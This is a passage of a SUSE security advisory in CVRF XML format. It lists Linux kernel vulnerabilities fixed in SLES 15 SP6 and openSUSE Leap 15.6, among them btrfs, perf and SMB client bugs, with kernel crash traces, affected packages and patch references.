        <ProductID>openSUSE Leap 15.6:ocfs2-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:reiserfs-kmp-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:reiserfs-kmp-default-6.4.0-150600.23.87.1</ProductID>
      </Status>
    </ProductStatuses>
    <Threats>
      <Threat Type="Impact">
        <Description>important</Description>
      </Threat>
    </Threats>
    <Remediations>
      <Remediation Type="Vendor Fix">
        <Description xml:lang="en">To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".
</Description>
        <URL>https://www.suse.com/support/update/announcement/2026/suse-su-20260471-1/</URL>
      </Remediation>
    </Remediations>
    <References>
      <Reference>
        <URL>https://www.suse.com/security/cve/CVE-2025-37813.html</URL>
        <Description>CVE-2025-37813</Description>
      </Reference>
      <Reference>
        <URL>https://bugzilla.suse.com/1242909</URL>
        <Description>SUSE Bug 1242909</Description>
      </Reference>
    </References>
  </Vulnerability>
  <Vulnerability xmlns="http://www.icasi.org/CVRF/schema/vuln/1.1" Ordinal="7">
    <Notes>
      <Note Title="Vulnerability Description" Type="General" Ordinal="1" xml:lang="en">In the Linux kernel, the following vulnerability has been resolved:

btrfs: fix invalid inode pointer dereferences during log replay

In a few places where we call read_one_inode(), if we get a NULL pointer
we end up jumping into an error path, or fallthrough in case of
__add_inode_ref(), where we then do something like this:

   iput(&amp;inode-&gt;vfs_inode);

which results in an invalid inode pointer that triggers an invalid memory
access, resulting in a crash.

Fix this by making sure we don't do such dereferences.</Note>
    </Notes>
    <CVE>CVE-2025-38243</CVE>
    <ProductStatuses>
      <Status Type="Fixed">
        <ProductID>SUSE Linux Enterprise Live Patching 15 SP6:kernel-default-livepatch-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Live Patching 15 SP6:kernel-default-livepatch-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Live Patching 15 SP6:kernel-livepatch-6_4_0-150600_23_87-default-1-150600.13.3.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:cluster-md-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:dlm-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:gfs2-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-64kb-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-default-base-6.4.0-150600.23.87.1.150600.12.40.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-default-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-docs-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-macros-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-obs-build-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-source-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-syms-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-zfcpdump-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:ocfs2-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:reiserfs-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:cluster-md-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:dlm-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:gfs2-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-default-base-6.4.0-150600.23.87.1.150600.12.40.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-default-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-docs-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-macros-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-obs-build-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-source-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-syms-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:ocfs2-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:reiserfs-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:cluster-md-kmp-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:cluster-md-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dlm-kmp-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dlm-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-allwinner-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-altera-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-amazon-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-amd-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-amlogic-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-apm-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-apple-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-arm-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-broadcom-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-cavium-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-exynos-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-freescale-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-hisilicon-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-lg-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-marvell-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-mediatek-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-nvidia-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-qcom-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-renesas-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-rockchip-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-socionext-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-sprd-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-xilinx-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:gfs2-kmp-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:gfs2-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-64kb-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-64kb-extra-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-64kb-optional-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-debug-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-debug-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-debug-vdso-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-base-6.4.0-150600.23.87.1.150600.12.40.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-base-rebuild-6.4.0-150600.23.87.1.150600.12.40.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-extra-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-livepatch-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-livepatch-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-optional-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-vdso-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-docs-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-docs-html-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-kvmsmall-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-kvmsmall-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-kvmsmall-vdso-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-macros-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-obs-build-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-obs-qa-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-source-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-source-vanilla-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-syms-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-zfcpdump-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kselftests-kmp-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kselftests-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:ocfs2-kmp-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:ocfs2-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:reiserfs-kmp-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:reiserfs-kmp-default-6.4.0-150600.23.87.1</ProductID>
      </Status>
    </ProductStatuses>
    <Threats>
      <Threat Type="Impact">
        <Description>important</Description>
      </Threat>
    </Threats>
    <Remediations>
      <Remediation Type="Vendor Fix">
        <Description xml:lang="en">To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".
</Description>
        <URL>https://www.suse.com/support/update/announcement/2026/suse-su-20260471-1/</URL>
      </Remediation>
    </Remediations>
    <References>
      <Reference>
        <URL>https://www.suse.com/security/cve/CVE-2025-38243.html</URL>
        <Description>CVE-2025-38243</Description>
      </Reference>
      <Reference>
        <URL>https://bugzilla.suse.com/1246184</URL>
        <Description>SUSE Bug 1246184</Description>
      </Reference>
    </References>
  </Vulnerability>
  <Vulnerability xmlns="http://www.icasi.org/CVRF/schema/vuln/1.1" Ordinal="8">
    <Notes>
      <Note Title="Vulnerability Description" Type="General" Ordinal="1" xml:lang="en">In the Linux kernel, the following vulnerability has been resolved:

perf/x86/intel: Fix crash in icl_update_topdown_event()

The perf_fuzzer found a hard-lockup crash on a RaptorLake machine:

  Oops: general protection fault, maybe for address 0xffff89aeceab400: 0000
  CPU: 23 UID: 0 PID: 0 Comm: swapper/23
  Tainted: [W]=WARN
  Hardware name: Dell Inc. Precision 9660/0VJ762
  RIP: 0010:native_read_pmc+0x7/0x40
  Code: cc e8 8d a9 01 00 48 89 03 5b cd cc cc cc cc 0f 1f ...
  RSP: 000:fffb03100273de8 EFLAGS: 00010046
  ....
  Call Trace:
    &lt;TASK&gt;
    icl_update_topdown_event+0x165/0x190
    ? ktime_get+0x38/0xd0
    intel_pmu_read_event+0xf9/0x210
    __perf_event_read+0xf9/0x210

CPUs 16-23 are E-core CPUs that don't support the perf metrics feature.
The icl_update_topdown_event() should not be invoked on these CPUs.

It's a regression of commit:

  f9bdf1f95339 ("perf/x86/intel: Avoid disable PMU if !cpuc-&gt;enabled in sample read")

The bug introduced by that commit is that the is_topdown_event() function
is mistakenly used to replace the is_topdown_count() call to check if the
topdown functions for the perf metrics feature should be invoked.

Fix it.</Note>
    </Notes>
    <CVE>CVE-2025-38322</CVE>
    <ProductStatuses>
      <Status Type="Fixed">
        <ProductID>SUSE Linux Enterprise Live Patching 15 SP6:kernel-default-livepatch-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Live Patching 15 SP6:kernel-default-livepatch-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Live Patching 15 SP6:kernel-livepatch-6_4_0-150600_23_87-default-1-150600.13.3.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:cluster-md-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:dlm-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:gfs2-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-64kb-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-default-base-6.4.0-150600.23.87.1.150600.12.40.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-default-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-docs-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-macros-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-obs-build-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-source-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-syms-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-zfcpdump-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:ocfs2-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:reiserfs-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:cluster-md-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:dlm-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:gfs2-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-default-base-6.4.0-150600.23.87.1.150600.12.40.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-default-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-docs-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-macros-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-obs-build-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-source-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-syms-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:ocfs2-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:reiserfs-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:cluster-md-kmp-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:cluster-md-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dlm-kmp-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dlm-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-allwinner-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-altera-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-amazon-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-amd-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-amlogic-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-apm-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-apple-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-arm-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-broadcom-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-cavium-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-exynos-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-freescale-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-hisilicon-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-lg-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-marvell-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-mediatek-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-nvidia-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-qcom-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-renesas-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-rockchip-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-socionext-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-sprd-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-xilinx-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:gfs2-kmp-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:gfs2-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-64kb-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-64kb-extra-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-64kb-optional-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-debug-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-debug-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-debug-vdso-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-base-6.4.0-150600.23.87.1.150600.12.40.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-base-rebuild-6.4.0-150600.23.87.1.150600.12.40.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-extra-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-livepatch-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-livepatch-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-optional-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-vdso-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-docs-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-docs-html-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-kvmsmall-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-kvmsmall-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-kvmsmall-vdso-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-macros-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-obs-build-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-obs-qa-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-source-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-source-vanilla-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-syms-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-zfcpdump-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kselftests-kmp-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kselftests-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:ocfs2-kmp-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:ocfs2-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:reiserfs-kmp-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:reiserfs-kmp-default-6.4.0-150600.23.87.1</ProductID>
      </Status>
    </ProductStatuses>
    <Threats>
      <Threat Type="Impact">
        <Description>important</Description>
      </Threat>
    </Threats>
    <Remediations>
      <Remediation Type="Vendor Fix">
        <Description xml:lang="en">To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".
</Description>
        <URL>https://www.suse.com/support/update/announcement/2026/suse-su-20260471-1/</URL>
      </Remediation>
    </Remediations>
    <References>
      <Reference>
        <URL>https://www.suse.com/security/cve/CVE-2025-38322.html</URL>
        <Description>CVE-2025-38322</Description>
      </Reference>
      <Reference>
        <URL>https://bugzilla.suse.com/1246447</URL>
        <Description>SUSE Bug 1246447</Description>
      </Reference>
    </References>
  </Vulnerability>
  <Vulnerability xmlns="http://www.icasi.org/CVRF/schema/vuln/1.1" Ordinal="9">
    <Notes>
      <Note Title="Vulnerability Description" Type="General" Ordinal="1" xml:lang="en">In the Linux kernel, the following vulnerability has been resolved:

smb: client: fix warning when reconnecting channel

When reconnecting a channel in smb2_reconnect_server(), a dummy tcon
is passed down to smb2_reconnect() with -&gt;query_interface
uninitialized, so we can't call queue_delayed_work() on it.

Fix the following warning by ensuring that we're queueing the delayed
worker from correct tcon.

WARNING: CPU: 4 PID: 1126 at kernel/workqueue.c:2498 __queue_delayed_work+0x1d2/0x200
Modules linked in: cifs cifs_arc4 nls_ucs2_utils cifs_md4 [last unloaded: cifs]
CPU: 4 UID: 0 PID: 1126 Comm: kworker/4:0 Not tainted 6.16.0-rc3 #5 PREEMPT(voluntary)
Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-4.fc42 04/01/2014
Workqueue: cifsiod smb2_reconnect_server [cifs]
RIP: 0010:__queue_delayed_work+0x1d2/0x200
Code: 41 5e 41 5f e9 7f ee ff ff 90 0f 0b 90 e9 5d ff ff ff bf 02 00
00 00 e8 6c f3 07 00 89 c3 eb bd 90 0f 0b 90 e9 57 f&gt; 0b 90 e9 65 fe
ff ff 90 0f 0b 90 e9 72 fe ff ff 90 0f 0b 90 e9
RSP: 0018:ffffc900014afad8 EFLAGS: 00010003
RAX: 0000000000000000 RBX: ffff888124d99988 RCX: ffffffff81399cc1
RDX: dffffc0000000000 RSI: ffff888114326e00 RDI: ffff888124d999f0
RBP: 000000000000ea60 R08: 0000000000000001 R09: ffffed10249b3331
R10: ffff888124d9998f R11: 0000000000000004 R12: 0000000000000040
R13: ffff888114326e00 R14: ffff888124d999d8 R15: ffff888114939020
FS:  0000000000000000(0000) GS:ffff88829f7fe000(0000) knlGS:0000000000000000
CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
CR2: 00007ffe7a2b4038 CR3: 0000000120a6f000 CR4: 0000000000750ef0
PKRU: 55555554
Call Trace:
 &lt;TASK&gt;
 queue_delayed_work_on+0xb4/0xc0
 smb2_reconnect+0xb22/0xf50 [cifs]
 smb2_reconnect_server+0x413/0xd40 [cifs]
 ? __pfx_smb2_reconnect_server+0x10/0x10 [cifs]
 ? local_clock_noinstr+0xd/0xd0
 ? local_clock+0x15/0x30
 ? lock_release+0x29b/0x390
 process_one_work+0x4c5/0xa10
 ? __pfx_process_one_work+0x10/0x10
 ? __list_add_valid_or_report+0x37/0x120
 worker_thread+0x2f1/0x5a0
 ? __kthread_parkme+0xde/0x100
 ? __pfx_worker_thread+0x10/0x10
 kthread+0x1fe/0x380
 ? kthread+0x10f/0x380
 ? __pfx_kthread+0x10/0x10
 ? local_clock_noinstr+0xd/0xd0
 ? ret_from_fork+0x1b/0x1f0
 ? local_clock+0x15/0x30
 ? lock_release+0x29b/0x390
 ? rcu_is_watching+0x20/0x50
 ? __pfx_kthread+0x10/0x10
 ret_from_fork+0x15b/0x1f0
 ? __pfx_kthread+0x10/0x10
 ret_from_fork_asm+0x1a/0x30
 &lt;/TASK&gt;
irq event stamp: 1116206
hardirqs last  enabled at (1116205): [&lt;ffffffff8143af42&gt;] __up_console_sem+0x52/0x60
hardirqs last disabled at (1116206): [&lt;ffffffff81399f0e&gt;] queue_delayed_work_on+0x6e/0xc0
softirqs last  enabled at (1116138): [&lt;ffffffffc04562fd&gt;] __smb_send_rqst+0x42d/0x950 [cifs]
softirqs last disabled at (1116136): [&lt;ffffffff823d35e1&gt;] release_sock+0x21/0xf0</Note>
    </Notes>
